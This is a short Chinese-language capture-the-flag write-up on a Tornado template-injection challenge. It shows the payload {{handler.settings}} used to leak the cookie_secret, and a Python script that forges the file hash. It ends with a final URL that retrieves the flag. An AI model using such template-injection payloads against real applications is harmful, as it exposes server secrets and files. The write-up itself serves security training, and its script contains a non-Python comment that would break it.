目录
信息搜集
发现flag的位置,于是我们试试能不能访问
报错了
查看/welcome.txt
由于render是一个Tomado框架的一个渲染函数,即可以通过传递不同的参数形成不同的页面。
render({options})可以猜测有模板注入漏洞。
/hints.txt提醒md5(cookie_secret+md5(filename))
这个应该是file的hash算法了
filename应该是/fllllllllllllag cookie_secret不清楚
模板注入
通过查阅文档发现cookie_secret在Application对象settings属性中,
因此注入
http://111.200.241.244:53902/error?msg={{Requsethandler.application.settings}}
发现出错了。应该是被加入黑名单了
还发现self.application.settings有一个别名
RequestHandler.settings An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
因此注入
http://111.200.241.244:53902/error?msg={{handler.settings}}
生成filehash
import hashlib
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
//注意要先将字符串utf-8加密后再MD5 然后再返回加密字符串
def filehash():
filename = '/fllllllllllllag'
cookie_secret = 'de9d729b-c6d5-4422-903d-d3c5495865af'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
Payload
http://111.200.241.244:53902/file?filename=/fllllllllllllag&filehash=0f73b42a93032d3fa60a3f09b6c22a13